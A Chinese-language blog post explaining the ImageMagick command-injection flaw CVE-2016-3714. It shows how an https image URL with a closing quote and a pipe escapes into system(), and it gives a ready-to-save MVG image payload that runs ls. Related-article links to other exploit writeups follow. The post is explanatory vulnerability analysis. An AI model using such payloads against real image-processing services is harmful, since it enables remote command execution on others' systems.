ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714
我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。
It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.
先拿中文写吧。
I will write in Chinese at present.
由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
status=system(sanitize_command);
注意,%M是占位符,代表图片url。所以command实际上是:
"wget" -q -O "%o" "https:%M"
那么如果我们的图片url是类似于下面的:
https://example.com"|ls "-al
则command变成了:
"wget" -q -O "%o" "https://example.com" | ls "-al"
也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)
在本地测试一下:

成功执行了ls -al
我们可以把命令写入一个图片中:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
保存为x.png:

End:
哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )
ImageMagick Remote Command Execute的更多相关文章
- PowerShell vs. PsExec for Remote Command Execution
Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution
CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...
- [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
- Android shell command execute Demo
package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...
- struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
随机推荐
- Webpack - CommonJs & AMD 模块打包器
Webpack 是一个 CommonJs & AMD 模块打包器.可以把你的 JavaScript 代码分离为多个包,在需要的时候进行加载,支持预处理文件,例如 json, jade, cof ...
- windows中安装node.js和测试
首先下载node.js安装包:下载页面:http://down.keleyi.com/goto/node.js.htm 选择windows msi安装包,根据自己操作系统选择32位或者64位安装包.然 ...
- go语言 类型:整型
整型是所有编程语言里最基础的数据类型.
- SharePoint 2013 Content Deployment 报错 These columns don't currently have unique values
错误描述: These columns don't currently have unique values. Content deployment job 'job name' failed.The ...
- Android 查看手机中所有进程
真机测试的时候发现DDMS对进程的显示很不给力,一些进程管理工具又不显示包名. 所以就自己写了一个小程序,查看自己手机中的进程,显示当前时间和进程的包名: 程序运行截图: 布局: <Linear ...
- 开发Android系统内置应用小记
Android系统内置应用可以使用更多的API.更高的权限,与开发普通应用最大的差别在于编译,内置应用编译需要用到Android.mk文件.下面是我在开发过程中的一些小记. 1.在AndroidMai ...
- Ubuntu下使用Git和GitHub
刚刚学习git和github,网上的知识太杂太乱.照着折腾了很长的时间,都没有搞出个结果,心里十分痒痒,最后终于在github上看到成果.本文适合刚刚接触github但是急于想看到效果的同学,当然gi ...
- IOS客户端Coding项目记录(六)
1:获取某一行的坐标 UITableViewCell *cell = [_myTableView cellForRowAtIndexPath:[NSIndexPath indexPathForRow: ...
- Facebook开源动画库 POP-POPBasicAnimation运用
动画在APP开发过程中还是经常出现,将花几天的时间对Facebook开源动画库 POP进行简单的学习:本文主要针对的是POPBasicAnimation运用:实例源代码已经上传至gitHub,地址:h ...
- 浅谈Java五大设计原则之观察者模式
定义一下观察者模式: 观察者模式又叫 发布-订阅 模式,定义的两个对象之间是一种一对多的强依赖关系,当一个对象的状态发生改变,所有依赖它的对象 将得到通知并自动更新(摘自Hand First). ...